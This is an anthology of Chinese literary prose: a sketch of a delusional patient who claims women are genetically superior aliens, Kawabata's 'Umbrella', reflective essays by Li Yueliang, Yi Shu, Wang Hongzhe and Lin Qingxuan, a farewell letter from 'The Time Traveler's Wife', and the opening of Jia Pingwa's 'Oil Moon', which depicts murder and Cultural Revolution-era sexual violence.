　　我：“我今天特地没刮脸，你可以看到啊，这个胡子是真的，不是粘上去的。你见过女人长胡子吗？就算汗毛重也不会重成我这样吧？”

　　他狐疑地盯着我的脸看了好一阵。

　　他：“上次她们派了个大胡子女人来骗我。”

　　我：“没有的，上次那个大胡子是你的主治医师，他可是地道的男人。”

　　他努力在想着。我观察着他，琢磨今天到底有没有交流的可能。

　　他：“嗯，好像是，你们俩都是男的……但是第一次那个不是。”

　　我：“对，那是女人，你没错。”

　　他：“现在她们化妆得越来越像了。”

　　我：“哪儿有那么多化妆成男人的啊。这些日子觉得好点没？”

　　他：“嗯，安全多了。”

　　我：“最近吃药顺利吗？”他曾经拒绝吃药，说那是女人给他的毒药，或者安眠药，等他睡了她们好害他。”

　　他：“嗯，就是吃了比较困，不过没别的事。”

　　我：“就是嘛，没事的，这里很安全。”

　　他：“你整天在外面小心点儿，小心那些女人憋着对你下手！”

　　我想了下，没觉得自己有什么值得女人那么鸡飞狗跳寻死觅活惦记的，于是问他为什么。

　　他：“她们早晚会征服这个地球的！”

　　我：“地球是不可能被征服的。”

　　他：“哦，她们会统治世界的。”

　　我：“为什么？”

　　他又疑神疑鬼地看着我，我也在好奇地看着他，因为从没听他说过这些。

　　他：“你居然没发现？”

　　我：“你发现了？”

　　他严肃地点了点头。

　　我：“你怎么发现的？”

　　他：“女人，跟我们不是一种动物。”

　　我：“那她们是什么？”

　　他：“我不知道，很可能是外星来的，因为她们进化得比我们完善。”

　　他好像镇定了一些。

　　我：“我想听听，有能证明的吗？”

　　他神秘地压低声音：“你知道 DNA 吗？”

　　我：“脱氧核糖核酸？知道啊！你想说什么？染色体的问题？”

　　他：“她们的秘密就在这里！”

　　我：“呃……什么秘密？染色体秘密？”

　　他：“没错！”

　　我：“到底是怎么回事？”

　　他：“人的 DNA 有 23 对染色体对不对？”

　　我：“对，46 条。”

　　他依旧狐疑地看着我：“你知道多少？”

　　我：“男女前 44 条染色体都是遗传信息什么的，最后那一对染色体是性染色体，男的是 X/Y，女人是 X/X。这个怎么了？”

　　他严肃地看着我：“你们都太笨！这么简单的事都看不明白！”

　　我：“呃……我知道这个，但是不知道怎么有问题了……”

　　他：“男女差别不仅仅是这么简单的！男人的 X/Y 当中，X 包含了两三千个基因，是活动频繁的，Y 才包含了几十个基因，活动很小！明白了？”

　　我：“呃……不明白……这个不是秘密吧？你从哪儿知道的？”

　　他一脸恨铁不成钢的表情：“我原来去听过好多这种讲座。你们真是笨得没话说了，难怪女人要灭绝咱们！”

　　我实在想不出这里面有什么玄机。

　　他叹了口气：“女人最后两个染色体是不是 X/X？”

　　我：“对啊，我刚才说了啊……”

　　他：“女人的那两个 X 都包含好几千个基因！而且都是活动频繁的，Y 对 X，几十对好几千！就凭这些，差别大了！女人比男人多了那么多信息基因！就是说女人进化得比男人高级多了！”

　　我：“但是大体的都一样啊？就那么一点儿……”

　　他有点儿愤怒：“你这个科盲！人和猩猩的基因相似度在 99%以上，就是那不到 1% 导致了一个是人，一个是猩猩。男人比女人少那么点？还少啊！”

　　看着他冷笑我一时也没想好说什么。

　　他：“对女人来说，男人就像猩猩一样幼稚可笑。小看那一点儿基因信息？太愚昧！低等动物是永远不能了解高等动物的！女人是外星人，远远超过男人的外星人！”

　　我：“有那么夸张吗？”

　　他不屑地看着我：“你懂女人吗？”

　　我：“呃……不算懂……”

　　他：“但是女人懂你！她们天生就优秀得多，基因就比男人丰富。就是那些活动基因导致了完全不一样的结果！男人谁敢说了解女人？谁说谁就是胡说八道。我问你，从基因上看，是你高级还是宠物高级？”

　　我：“呃……我……”

　　我：“就是这样。你养的宠物怎么可能了解你？你吃饭它明白，你睡觉它明白，你看电影它就不见得明白了吧？你上网它就不理解了吧？你跟别人聊天它还是不明白吧？你看书它明白？不明白吧。你看球赛高兴了或者不高兴了它明白？它也不明白！它只能看到你的表面现象：你高兴了或者生气了。但是为什么，它永远不明白。”

　　我：“嗯……你别激动，坐下慢慢说。”

　　他：“你能看到女人喜欢这件衣服，为什么？因为好看。哪儿好看了？你明白吗？”

　　我：“嗯，有时候是这样……”

　　他：“女人生气了，你能看到她生气了，你知道为什么吗？你不知道……”

　　我：“经常是一些小事儿吧……”

　　他再度冷笑：“小事儿？你不懂她们的。你养的宠物打碎了你喜欢的杯子，你会生气，在宠物看来这没什么啊，有什么可气的？对不对？对不对！”

　　看着他站在椅子上我有点儿不安。

　　我：“你说的没错，先坐下来好不好？小心站那么高女人发现你了。”

　　他果然快速地坐了下来。

　　他：“没男人能了解女人的，女人的心思比男人多多了，女人早晚会统治这个世界，到时候男人可能会被留下一些种男，剩下的都杀掉。等科学更发达了，种男都不需要了，直接造出精子。可悲的男人啊，现在还以为在主导世界，其实快灭亡了，这个星球早晚是女人的……”

　　我：“可怜的男人……感情呢？不需要吗？”

　　他：“感情？那是为了繁衍的附加品。”

　　我：“我觉得你悲观了点儿……就算是真的，对你也没威胁的。”

　　他：“我悲观？我不站出来说明，我不站出来警告，你们会灭亡得更早！可惜我这样的人太少了。”

　　我：“是啊……我知道的只有你。”

　　他：“弗洛伊德，你知道吗？他也是和我一样，很早就发现了。”

　　我：“哎？不是吧？”

　　他：“弗洛伊德的临终遗言已经警告男人了。”

　　我：“他还说过这个？怎么警告的？”

　　他：“他死前警告所有男人，女人想要全世界！”

　　我已经起身在收拾东西了：“嗯，我大体上了解怎么回事了，过段时间我还会来看你的。”

　　他：“你不能声张，悄悄地传递消息，否则你也会很危险的。”

　　我：“好的，我记住了。”

　　我轻轻地关上了门。

　　几天后我问一个对遗传学了解比较多的朋友，有这种事儿吗？他说除了来自外星、干掉男人、征服世界那部分，基本属实。

　　不过，我们都觉得弗洛伊德那句临终遗言很有意思，虽然那只是个传闻。

　　“女人啊，你究竟想要什么？”

雨伞

川端康成

　　春雨似雾，虽然不会濡湿，却会沾润人的肌肤。跑出门口的少女看见少年的伞，这才察觉：

　　“呀，下雨呐？”

　　少女正坐在店门前。少年撑开雨伞，与其说是为了挡雨，莫如说是为了掩藏自己走过少女面前时流露出来的羞涩。

　　但是，少年默默地将雨伞移过去给少女挡雨。少女只有一侧肩膀在雨伞下。尽管挨淋，少年却难以启齿说出：“请过来”，然后让少女靠近过来。少女虽然也曾想过自己用一只手扶着伞把，但总是想从雨伞下溜走。

　　两个人走进了照相馆。少年的父亲是个官吏，即将调任远方。这是为他拍的临别赠相。

　　“二位请并排坐在这儿。”摄影师指着长椅子说。

　　少年无法同少女并肩而坐，就站在少女的背后。为了让两人的身体在某一点上接合起来，他把扶着椅子的手指轻轻地触模少女的短外褂。这是他初次触及少女的身体。透过手指传导过来的微微的体温，使少年感受到一阵似是紧紧拥抱着赤身少女的温馨。

　　这一生中每逢看到这帧照片，也许就会想起她的体温来吧。

　　“再照一张好吗？二位肩并肩，把上半身照大些。”

　　少年只顾点点头。

　　“头发……”少年对少女小声地说。

　　少女猛然抬头望了望少年，脸颊倏地绯红，眼睛闪烁着光芒，充满了明朗的喜悦。像孩子般乖乖地碎步走到了化妆室。

　　方才少女看见少年经过门口，顾不及整理一下头发就飞跑出来，头发蓬乱得像是刚摘下游泳帽似的。少女一直为这乱发耿耿于怀，可是在男子面前连拢拢两鬓的短发修饰一下也觉着害羞。少年也觉得，如果对她说声“拢拢头发吧”都会羞辱少女的。

　　向化妆室走去的少女那股子快活劲儿，也感染了少年，喜悦之余，两个人理所当然地互相偎依坐在长椅子上。

　　刚要走出照相馆，少年寻找起雨伞来。忽然看见先走的少女已经手里拿着那把雨伞站在门口。少女发现少年望着自己才意识到自己是拿着少年的雨伞走出来的，她不觉一惊。这种无意识的举止，难道不正是流露出她已经感觉到“那是他的东西”了吗？

　　少年难以启齿说出“让我拿雨伞吧”，少女则无法把雨伞交给少年。然而，此时此刻两个人与在来照相馆的路上迥异，突然间变成了大人，带着夫妻般的心情踏上了归途。这仅仅是关于雨伞的一桩韵事……

那些你所不知道的大事

李月亮

　　在你的生命里，经历了一些很重大的事情，可是你并不知道。

　　5 岁那年，爸爸下班回来，你跑去迎接他，不小心摔了个狗啃泥，不过没有受伤。

　　你并不知道，就在你摔倒的地方往左两厘米，立着一根小钉子，如果你稍微偏一偏，左眼就失明了。

　　10 岁那年，你一个人在家煮方便面，刚把水壶放到煤气炉上，就接到妈妈的电话让你去姥姥家，你完全忘了开着的煤气炉，锁上门就走了。多么幸运，当壶里的水被烧干了，煤气正好用完了。一场势不可挡的火灾没有发生。

　　15 岁那年，某天晚上，你下了晚自习，像往常那样回家，你肯定没有想到，在刚刚经过的那条小路上，几个小流氓欲拦住你图谋不轨，可是刚好一对夫妻走了过来，坏蛋们一胆怯，放过了你。

　　25 岁那年，你怀着孕，不小心感冒了，去医院打针时粗心的大夫开错了药。当护士拿着会致胎儿畸形的甲硝唑准备给你打时，路过的护士无意间看了一眼，刚走过去又折回来，悄悄提醒那个护士说，孕妇不能用这个药啊。谁也不知道，如果那天药打进去，会是什么结果，反正你是幸运地躲过了厄运。

　　有那么多次，你都差点掉进悲伤的深渊，可是，你幸运地躲过去了。不得不说，有那么多时候，上苍都眷顾着你，救你于苦海。

　　如果知道了这些，你还会为了一点小困难小失败小痛苦去埋怨吗？考试的低分，恋人的背叛，身体的伤病……相对那些躲过去的灾难，这些算得了什么？所以，亲爱的，在困难的时候要相信，其实生活对你很眷顾。

　　当然，在你的生命里，还有一些大事情，你并不知道。

　　6 岁那年，爸爸准备送你去少年宫学习绘画，可是，由于奶奶生病，那个暑假他们没有时间接送你，就把这件事放下了。没有人知道，如果当时得到专业的培训，以你的天赋，就会在这方面取得不凡的成就。

　　18 岁那年，你暗恋已久的男生准备向你表白，信已经写好了，又专门跑到你家楼下小心翼翼地投进信箱。可是他记错了楼号，那封信，被邻居拿到，疑惑了好久之后，给丢掉了。一个男孩，一段青春里最美好的恋情，就这样与你擦肩而过。

　　24 岁那年，你到一家非常好的单位求职，费尽心思终于闯到最后一关，却还是失败了。你并不知道，其实本来你的名字已经在录取的名单里面了，可是，在敲定人选的会议上，一位重量级的评委把你记成另一个表现很差的人，坚定地投了反对票。就这样，别人一个莫名的小失误，让你失去了一份梦寐以求的好工作。

　　这样的事情，大概还有不少。有那么多次，命运本来已经要改变了，却在最后的关头，因为莫名其妙的偏差，掉转了方向。哦，或许，你的运气实在不怎么样。

　　所以，亲爱的，当你的彩票中了奖，当你的古董升了值，当你顺利地考上大学又考上了研究生，当你成为单位里最年轻的管理者……不要让自己飘起来，不要轻易地以为自己的运气和实力多么好，要知道，这只是你人生里本来可以发生的美好事情的一部分——还有一部分，你并没有得到。

　　真的，生活并不完全是你看到的样子，很多大事情你经历了却并不知道。如果你知道了这些，你大概就不会对现在的得与失太在意了。

　　没错，每个人都不是步步摔跟头的倒霉蛋，更没有人是一帆风顺的命运的宠儿。

　　看淡那些事情，平静而踏实地经历生活的起落，相信你会生活得更好。

女朋友

亦舒

　　我有两个要好的女朋友，一个常见面，一个不见面。

　　常见面的差不多每天见，行街一块儿行，看戏一块儿看、写完稿以后通个电话，一聊可以聊半天。

　　没见面的那位已经八个月没见了，只摇一个电话给她，让她教训了一顿，但非常心甘情愿，因为欠她实在太多，不好意思再见她，先得设法将前债还了，再欠新的，这债是感情方面的。

　　这两个女孩子都对我很好，好得惊人，除非说是前世欠下的，否则很难想象到为什么，生平有这么好的两个女朋友，也够满足了。

　　两位小姐都还没结婚，学问和知识都比我高许多倍，有这样的朋友，确是没话讲，有时候自己想想，也莫名其妙。不知她们觉得我有什么好？

　　每个女人都应该有好几个好的女朋友，没有几个，最低限度也要有二个，有心事可以倾告。有想不开的事情可以互相劝慰，有女人觉得快乐的，可以一起快乐。女人待男人不妨坏点，但是对女朋友必须要够坦诚，够真心，女人不对女人好，还有谁对女人好呢？只有头轻脚重的女人，才会巴巴的去讨好男朋友，得罪了女朋友。

　　没有女朋友的女人必然是难堪的女人，不容易相处，极难伺候，男人绝对吃不消。

　　女入婚后不适宜再单独与男朋友来往。也许这样说法是不够新派一点，但是与女朋友在一起，远比与男朋友一起轻松，无所不谈，无所不笑，太开心了。我老是觉得我那两个女朋友，对我好过我对她们，心中歉意越来越浓一竟想不到弥补的办法来，希望日久见真情，有一天等我有帮忙的机会，定然尽力而为。但她们的环境都比我好，我又不希望有一天她们会变得要我出力，心理上也够矛盾的了。有这么两个女朋友，也是我的福气，值得开心的一点。好多人以为我大概是没有女朋友的，事实上刚刚相反呢。

时间旅行者的妻子

奥德丽 · 尼芬格

　　等我死后再打开这封信。

　　最挚爱的克莱尔：

　　当我写这封信的时候，我正坐在后卧室里我的书桌旁，穿过后院夜色中幽蓝的积雪，眺望你的工作室。万物都披上了一层光滑的冰衣，寂静无声。这是无数个冬季夜晚中的一个，每一件事物上的严寒，仿佛令时间减缓了速度，仿佛让它们从沙漏狭小的中央穿越，不过，那么缓慢，缓慢。我有种很熟悉的感觉，我被时间拖起来，就像一个正在夏日里游泳的肥妇人，轻而易举地漂浮到水的上面，这种感觉只有当我离开正常的时间后，才能体会到。今晚，就我自己一个人（你正在圣路斯教堂，听爱丽西亚的独奏音乐会），我突然有种冲动，想给你写封信。我想为你留下些东西，在那之后。我觉得，时间越来越少了。我所有的精力、快乐、耐性，都变细了，变少了，我觉得我无法维持太久。我知道你明白的。

　　当你读这封信的时候，我可能已经死了（我说可能，是因为谁都不知道还会发生什么，直截了当地宣布死亡，不仅愚蠢，而且狂妄）关于我的死——我希望它简单明了，干净利落，而且毫无悬念，我不希望它引起太多的纠纷。我很抱歉（这听上去像是绝命书，真奇怪）。可是你知道的：你知道如果我还有一线希望，还能继续留在这个世界上，我会死死抓住每一分钟的：无论如何，这一次，死亡真的来了，它要带走我，就像妖精要把孩子掳走一样。

　　克莱尔，我想再次告诉你，我爱你。这些年来，我们之间的爱，一直是汪洋的苦海中指航的明灯，是高空钢索步行者身下的安全网，是我怪诞生活中唯一的真实，唯一的信任。今晚我觉得，我对你的爱，比我自己，更紧紧地抓着这个世界：仿佛在我之后，我的爱还可以留下来，包围你，追随你，抱紧你。

　　我最恨去想你的等待。我知道，你的一生都在等我，每一次都不知道要等多久，十分钟，十天，还是一整个月。克莱尔，一直以来，我是个靠不住的丈夫，像个海员，像是那独自一人去远航的奥德赛，在高耸的海浪里饱受蹂躏，有时是狡诈的诡计，有时只是众神灵的小把戏。克莱尔，我请求你。当我死去以后，别再等我，自由地生活吧。至于我——就把我放进你的深处，然后去外面的世界，生活吧。爱这个世界，爱活在这个世界里的自己，请你自由地穿梭，仿佛没有阻力，仿佛这个世界和你原本就同为一体。我给你的都是没有意识、搁置在旁的生活。我并不是说你什么都没做，你在艺术上创造出美丽，并赋予其意义；你带给我们这么了不起的爱尔芭；对于我，你就是我的一切。

　　我妈妈去世以后，她把我父亲吞噬成一副空壳。如果她知道，她也会恨自己。他生活中的每一秒都被她的空缺标下印记，他的一举一动都失去了量度，因为她不在那里作他衡量的依据。我小时候并不明白，可是现在，我知道了，逝者并未曾去，就像受伤的神经，就像死神之鸟。如果没有你，我也不知道该怎么活。但我希望能看见你无拘无束地在阳光下漫步，还有你熠熠生辉的长发。我没有亲眼见过这样的景致，全凭想象，在脑海中形成这幅图画，我一直想照着它画下你灿烂的样子，但我真的希望，这幅画面终能成真。

　　克莱尔，还有最后一件事情，我一直犹豫是否要告诉你，因为我迷信地担心，泄露天机反倒会阻碍它的发生（我知道我很愚蠢）。还有一个原因，我刚刚让你别再等待，而这次，恐怕会比你任何一次的等待更加漫长。可是我还要告诉你，以备你需要一些力量，在今后。

　　去年夏天，我坐在肯德里克的候诊室里，突然发现自己到了一间陌生的房屋，一处漆黑的过道，我被一小堆橡胶靴子缠住，闻上去有雨的味道。在过道的尽头，我看见门边一圈依稀的微光，于是我非常缓慢、非常安静地走到门边，朝里张望。在早晨的强光下，房间里一片亮白。窗边上，背对我坐着的，是一位女士，她穿着珊瑚色的开襟衫，一头白发披在背上，她身边的桌子上放着一杯茶，一定是我发出了声响，或者她已感觉到我在她的身后……她转过身，看见了我，我也看见了她。那是你，克莱尔，是年迈的你，是未来的你。多么甜美的感觉，克莱尔，比一切我能形容的还要甜美。就好像从死神手里走出来，抱着你，看着你脸上留下的岁月的痕迹。我不能再多说了，你可以去想象，当那一时刻到来的时候，你将会有全新的感受，那一定会到来的。克莱尔，我们还会再见面的。在那之前，好好地活在这个世界上，它是多么美丽啊。

　　现在天色暗了，我也倦了。我爱你，永永远远。时间没有什么了不起。


　　亨利

　　二〇〇六年十二月


　　摘自《时间旅行者的妻子》译者： 夏金、安璘

狗这一生不容易

王宏哲

　　生而为狗，大约是一件尴尬的事情。少不了一户院门守着，少不了一条铁索锁着。太聪明了不行，太愚蠢了也不行；该叫的时候默不做声不行，不该叫的时候轻易开口也不行。稍有差池，轻则招致一顿波及祖先的破口大骂，重则可能棍棒加身刀斧相向，甚而连一条狗命也要随时不保了。

　　狗看护着人的安全，但狗自身却时常面临着未知的危险。

　　在村庄，一院房子建起来了，人会想起修上一圈围墙，盖上一个门楼。墙当然是越高越好，门当然是越坚固越好。人在院子里过日子，人总希望把那些不相关的眼睛和手脚挡在外边，这样人才会感到踏实，感到安心。但门在无休无止的值守中往往会玩忽职守，而墙在岁月的风雨中也常常会显得力不从心。这个时候，人首先会想到狗。一条狗，就算是再怎么出身卑微，再怎么瘦小单薄，只要不是过分的胆小怕事或是不长眼色，料也足以担当得起看家护院的任务。

　　一条条狗也许就是这样在村庄里安家落户的。主人忙着在院里进进出出，狗在一旁看着，煞费苦心的猜想着主人的心思。某一日，主人心情不错，狗摇着尾巴迎上去，咬一咬主人的裤管，舔一舔主人的手掌，主人则会亲昵的摸一摸狗头，抚一抚狗背，顺带着扔一块吃剩的东西。再一日主人心里不顺，狗则必须躲得远远地，否则迎来一顿臭骂不说，还极有可能重重的挨上一脚，落得个身上有伤，脸上无光。打碎了牙只有往肚子里咽。

　　最难应付的应该是那些出现在门口的陌生人。狗原想着叫一两声就可以把他吓走，谁知那家伙偏偏不识好歹，硬是大呼小叫着要往里闯。狗没办法，在虚张声势的狂叫了一阵后，着实地朝他的脚后跟咬了一下。不想那人却正好是主人多年未曾走动的远房亲戚，或者是某个难得登门的重要人物。狗闯了祸，主人却比狗还要紧张，先是一个劲儿地朝那个人道歉，再是骂狗瞎了狗眼，怎么连谁都敢咬；然后又让那人不要和狗计较，扬言等腾出手来，一定将这狗怎样怎样。狗讨了个无趣，委屈的叫上一两声，也就不再言语。

　　再一次，又有一个人在门口东张西望，狗吸取了上次的教训，敷衍了事的叫上几声，就睁一只眼闭一只眼的不再搭理。谁知那人却恰恰是一个入室盗窃的贼。他趁着主人熟睡的功夫，偷走了院里堆放的粮食和一头拴着的牛。主人醒来后发现了这一切，先是嚎啕大哭，再是破口大骂。最后，把所有的过错都归结于狗的无所作为。用脚踢，用棒打，恨不得把狗剥了狗皮吃了狗肉方才解恨。狗呢，不明不白的挨了打，呜呜地叫着，谁知道是不是在哭呢。

　　狗活在人的世界里，狗不得不花相当的功夫来琢磨人与人、狗与人的关系。

　　既便如此，好多时候，狗仍然活在左右为难中，开口不是，不开口也不是，而开口和不开口往往都会面临着怒喝和棍棒。最难忍受的是，许多八竿子打不着的事情往往也会找上门来，和狗沾上各种关系，让狗有口难辩，诉说无门。比如人和人有了矛盾，人骂人是狗眼，人骂人是狗屎；有的时候，一方干脆就指着另一方的鼻子，言之凿凿的肯定对方是狗日的------狗无缘无故的被拉到了人和人的争斗中，相当多的情况下，狗都会莫名其妙的被强加为某个人女人的丈夫，某个孩子的父亲。

　　狗不会争辩。有时竖起耳朵叫上一两声，有时耷拉着眼皮，一声也懒得叫。

　　一条狗活在村庄里，只要不犯大错，不出意外，一般也就在一户院门下混到老了。那个时候，它已活成了一条老狗，它已认识了村庄里的好多人，经历了村庄里的好多事，它已成为了那户人家的一部分，成为了村庄的一部分。眼看着主人家的儿子一天天长到了墙高，眼看着主人某一天走出了院门就再也没能回来，它已不再在乎那一根铁索，不再在乎飘进耳朵里的那些风言风语。人又怎么样？狗又怎么样？好多东西人自己都守不住，又能指望一条狗怎么样？

　　剩下来的白天和黑夜里，它就在属于自己的门廊下静静地蹲卧着，偶尔意味深长的叫上一声，像是在给村庄听，又像是在给自己听。

断爱近涅盘

林清玄

　　有人说过年是“年关”，年纪愈长，愈觉得过年是一个关卡；它仿佛是两岸峭壁，中间只有一条小小的缝，下面则水流湍急，顺着那岁月的河流往前推移，旧的一年就在那湍急的水势中没顶了。

　　每当年节一到，我就会忆起幼年过年的种种情景。几乎在二十岁以前，每到冬至一过，便怀着亢奋的心情期待过年，好像一棵嫩绿的青草等待着开花，然后是放假了，一颗心野到天边去，接着是围炉的温暖，鞭炮的响亮，厚厚的一叠压岁钱，和兄弟们吆喝聚赌的喧哗。然而最快乐的是，眼明明的看见自己长大了一岁，那种心情像眼看着自己是就要出巢的乳燕。

　　过了二十岁以后，过年显著的不同了。会在围炉过后的守夜里，一个人闷闷地饮着烧酒，想起一年来的种种，开始有了人世的挫折，开始面临情感的变异，开始知道了除去快乐，年间还有忧心。有时看到父母赶在除夕前还到处去张罗过年的花用，或者眼看收成不好，农人们还强笑着准备过一个新年，都使我开始知道年也有难过的时候。

　　过了二十五，过了三十，年岁真是连再重的压岁钱也压不住，过年时节恰正是前尘往事却上心头的时节，开始知道了命运，好像命运已经铺设了许多陷阶，我们只是一步一步地向前走去，有许多喜爱的事时机一到必须割舍，有许多痛恨的事也会自然消失，走快走慢都无妨，年还是一个接一个来，生命还是一点一滴的在消失。

　　有时候我会想，为什么在二十岁以前那么期待新的一年到临，而二十岁以后则忧心着旧的岁月一年年的消失呢？最后我得到一个结论，在冠礼以前，我们是“去日苦短，来日方长”。成年以后则变成“来日方短，去日苦多”，这是多么不一样的心情呀！

　　最难消受的还是，不管我的心情如何，挂在墙上的壁钟总是在除夕夜的十二点猛力地摇着钟摆，敲出清亮或者低沉的十二个响声，那样无情，又那样绝然，每到过年，我总也想起和钟臂角力的事，希望让它向后转，可是办不到，于是我醉酒，然后痛下决心：一定要把一年当两年用，把二十四小时当四十八小时来用。

　　想起去年的过年，我吃过年夜饭，在书房里走来走去，想找一本书看，不知道为什么随手拿起一本佛经，读到了有情生死流转的过程，其中有一段讲到“渴爱”的，竟与过年的心情冥然相合。它说渴爱有三，一是欲爱，是感官享受的渴求；二是有爱，是生与存的渴求；三是无有爱，是不再存在的渴求。我觉得二十岁以前过年是前两者，二十岁以后是第三者。

　　那本佛经里当然也讲到“涅盘”，它不用吉祥，善良、安全、清净、皈依、彼岸、和平、宁静来正面说涅盘，而说了一句“断爱近涅盘”。这是何等的境界，一个人能随时随地断绝自己的渴爱，绝处逢生，涅盘自然就在眼前，旧年换新恐怕也是一种断爱吧。

　　释迦牟尼说法时，曾举了一个譬喻来讲“断爱”，他说：“有人在旅行时遇到一片大水，这边岸上充满危机，水的对岸则安全无险，他想：‘此水甚大，此岸危机重重，彼岸则无险，无船可渡，无桥可行，我不免采集草木枝叶，自做一筏，当得安登彼岸。’于是那人采集草木枝叶做了一只木筏，靠着木筏，他安然抵达对岸，他就想：‘此筏对我大有助益，我不妨将它顶在头上，或负于背上，随我所之。’”

　　举了这个例子以后，释迦牟尼指出这人的行为是错误的，因为他不能断爱，那么他应该如何处置呢？佛陀说：“应该将筏拖到沙滩，或停泊某处，由它浮着，然后继续行程，不问何之。因为筏是用来济渡的，不是用来背负的，世人呀！你们应该明白好的东西尚应舍弃，何况是不好的东西呢？”

　　由于读了那本佛经，竟使我今年的整个想法部改变了，也使我在最有限的时间内，因为敢于割舍，而有了一些比较可见的成绩，过年何尝不如此，年好年坏都无所谓，有所谓的是要勇于断爱，使我们有情的命身，在新的起始发散最大的光芒。

　　涅盘真的不远，如果能在年节时候，少一点怀念，少一点忆旧，少一点追悔，少一点婆婆妈妈，那么穿过峭壁、踩过水势，开阔的天空就在眼前了。

油月亮

贾平凹

　　尤佚人一出审讯室便大觉后悔话不该那么说。七月的天气已经炎热，湿漉漉的手一按在椅子上就出现五个指印。三年前的公园条椅上起身走去了一对极厌恶他的男女，女人坐过的地方就有一个湿漉漉的圈。他以为发现了一种秘密。“尤佚人！”审讯员猛地叫了他的名字。“嗯。”他应着，立即就又说：“有！”“你杀了人吗？”“杀了。”“杀了几个人？”“这怎么记得，谁还记数吗？”一个，两个……有位是胖妇人，腰碌碡般粗搂不住，两颗大奶头耷拉下来一直到了裤腰带的。下雨天来的一男一女，不是父女，也绝不会是夫妻……臭男人本该早死却去上茅房了。女子就先死。男人回来一下没有死，还一脚踹在他的交裆处……但最后也是死了。女子白脸子，真好。尤佚人扳着指头搜寻起记忆，便发现审讯员脸色全白，立即被又一种记忆打断，将湿漉漉的手垂下来懊丧起说过的话。虽然那系一派真诚。“八个。”他懦懦地说。

　　河水构成一条银带，款款地在前面伸展；贴着已经裂脱而去了生命的知了壳的白杨，绿柳，急速地向后倒去。炎炎的红日真是有油的，汗全然变成珠子顺鼻尖滑，腻腻的。浴在这灼灼的烈日，看着不知何时从山梁的那边出现的寺院山门，以古柏古松浮云般的叶浸沉在袅袅的钟声，就这样，尤佚人和两名武装的刑警坐了三轮摩托，溯着汉江往瘪家沟去。

　　对于女人的生殖器，乡下人有着乡土叫法，简单到一个音，X，名字很不中听。所以又以另一个音代替，但这音没有文字写出来就只好别替为“瘪”了。有学者说中国的文化主要表现在两个方面，一个是关于吃上，一个是关于瘪上。尤佚人和他的乡亲如果要作学问，必定会同意这观点的。

　　尤佚人知道自己生命的来源，虽然小时候问过娘，娘回答是从水中捞来的。“怎么捞的呢？”“用笊篱一捞就捞着了。”“人都是这般捞到的吗？”“是的。”母亲的表情极其严肃。这严肃的表情给尤佚人印象颇深，以致后来逐渐长大，成熟了某一块肌肉，就对母亲给予他的欺骗甚为愤慨。

　　夏日的夜晚，低矮的四堵墙小屋闷如蒸笼，有跳蚤，有蚊子，有臭虫，光棍们就集中到村口水田边的一座破旧不堪的古戏楼上。风东来西往，男人们可以数着天上的星星，一遍与一遍数目不同。又可以谈神秘的东西如女人和之所以是女人的标志。尤佚人的青春大学就从这里开始。

　　如果从汉江边的公路遥遥往北山看，这尤佚人已经习惯了。就看到那里一处方位的绝妙。一个椭圆形的沟壑。土是暗红，长满杂树。大椭圆里又套一个小椭圆。其中又是一堵墙的土峰，尖尖的，红如霜叶，风风雨雨终未损耗。大的椭圆的外边，沟壑的边沿，两条人足踏出的白色的路十分显眼，路的交汇处生一古槐，槐荫宁静，如一朵云。而椭圆形的下方就是细而长的小沟生满芦苇，杂乱无章，浸一道似有似无的稀汪汪的暗水四季不干。

　　这就是天造地设的一个“瘪”。村子的穴位就是“瘪”的穴位。但生活在“瘪”的世界里的光棍们却享受不到那一种文化，活人就觉得十分没劲。一次躲在芦苇丛里的尤佚人偷听了一对夫妻在沟里烧香焚纸说：“儿呀你就出来吧，我们是三间房一院子，长大了能给你娶个媳妇的，你就出来吧！”他就想，母亲和父亲，一定没有按风俗曾在这里祈祷过，否则他是绝不会到这个人世间来了，来了也绝不会就做了父亲和母亲的儿子。对于没征求他的意见就随便生下他又以“捞来”之说欺骗他的母亲，尤佚人几乎是恼怒不已了。

　　从瘪家沟到县城是五十里。从县城到瘪家沟是五十里。五十里顺着汉江横过来的却是深涧似的漆水河。河上一座桥，十八个石磙子碌碡堆起的墩，交通了山区与城市，也把野蛮和文明接连一起，河水七年八年就要暴溢。一年里，水满河满沿，结果将桥冲垮了一半，十八个石磙子碌碡丢失了五个，瘪家沟的人都去下游泥沙里探寻，尤佚人踩了三天沙，腿肚子上患了连疮，夜里睡着烂肉和袜子被老鼠啃去了几处。最后石磙子碌碡却在上游找到，尤佚人莫名其妙，遂愤愤不平到这一个夏天，“文革”的运动就来了。村里人便跑贼似地往南山石洞跑。爹不跑，武斗的人扇了爹一个耳光。“扇得好，扇下我一颗铁耳屎！”爹就随着走了，背上一杆自制的长筒土枪。

　　石洞开凿于民国初年，在光溜溜的半石崖，从下边不能上去从上边不能下来，崖壁上凿着石窝载着石椎架上木板，可以走，走过一页板抽掉一页板。尤佚人捉住了十只蝙蝠，还有一头猫头鹰，就眺望起远远的在烟里雾里笼罩的家。家里守着半死的老爷，一咳嗽就咯出鸡屎般大的一口痰，他突然听到了娘的声音。

　　—条粗如镢把的长蛇正在洞外的石砭上吸将起一只金毛松鼠了。

　　“啊？啊？！”

　　娘慌乱得叫着。那松鼠怎么不逃掉还盯着蛇一步步挪近去？“松鼠是吓昏了吗？”

　　他抱起一块石头抛过去，蛇跑了，他几乎在石头抛过去的时候连自己也抛过去。夜里娘就偷偷下洞回家了，正是一派攻克了一派的胜利之后，十二个人，一排的带枪者将娘压倒在炕上轮奸。赤条条的儿媳昏死在堂屋，老爷从厦房的病床上爬过来，用红布蒙住娘的眼睛，开始用烤热的鞋底敷那肿得面团—样的穴位竟敷出半碗的罪恶来。老爷就撞在捶布石上死了。

　　这是一个相当清幽的院落。东边是—片竹篁，太阳愈是照，叶片愈是青，没有风你却感到腋下津津生凉。一支竹鞭从院墙的水眼道孔中爬过来，只有五天的时间，已经爬到了台阶下如黄蛇一般僵卧在砖缝繁衍的菌草里。一只麻雀湿脚从瓦楞上踏过，将双爪与扑撒的竹叶织就了一片“个”字。尤佚人半呆地立着，陡然生喜的心情倏忽如死灰如槁木。暑热底下一种空洞，惟一能听见的，粗糙的，愤怒的，是掘土的声，掏石块的声，镢头哐地掷下。西边院墙角的石磨被推翻了，墙角的土墙上，一根木楔，空吊着一幅牛的“暗眼”。牛是戴着“暗眼”在磨道里走完了一生，于前三年就倒下死了的。而院墙的每一个打墙留下的椽眼塞满了头发窝子……尤佚人保持不动的姿势立在院中，默看着雇佣来的人挥汗如雨地挖掘着，像是在觅寻什么金窖，紧张，又是湿漉漉的手。

